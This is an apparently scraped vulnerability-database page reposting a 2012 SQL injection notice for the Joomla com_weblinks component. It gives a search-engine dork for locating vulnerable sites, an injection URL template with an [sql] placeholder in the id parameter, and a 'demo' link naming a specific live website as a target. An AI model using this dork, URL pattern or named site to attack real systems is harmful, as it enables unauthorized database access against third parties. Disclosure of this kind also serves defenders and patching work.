Joomla com_weblinks SQL Vulnerability

2012.08.28

Credit: Nafsh

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

Dork: inurl:\"/index.php?option=com_weblinks\"

########
#
# Exploit Title : Joomla Com_Weblinks Sql Vulnerability
#
# Author : IrIsT.Ir
#
# Discovered By : Nafsh
#
# Home : http://IrIsT.Ir/forum
#
# Software Link : http://extensions.joomla.org/extensions/directory-a-documentation/weblinks
#
# Security Risk : High
#
# Version : All Version
#
# Tested on : GNU/Linux Ubuntu - Windows Server - win7
#
# Dork : inurl:"/index.php?option=com_weblinks" "sql"
#
########
#
# Expl0iTs :
#
# http://[TARGET]/index.php?option=com_weblinks&view=category&id=[sql]
#
#
# D3mo :
#
# www.cerclesportifdekigali.com/index.php?option=com_weblinks&view=category&id=26&Itemid=28
#
########
#
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - BestC0d3r
#
# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r
#
# Mr.Xpr & M.R.S.CO & Amir & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum & idc-team.net/cc
#
########

References:

http://IrIsT.Ir/forum

http://extensions.joomla.org/extensions/directory-a-documentation/weblinks

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Joomla com_weblinks SQL Vulnerability

Dork: inurl:\"/index.php?option=com_weblinks\"

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.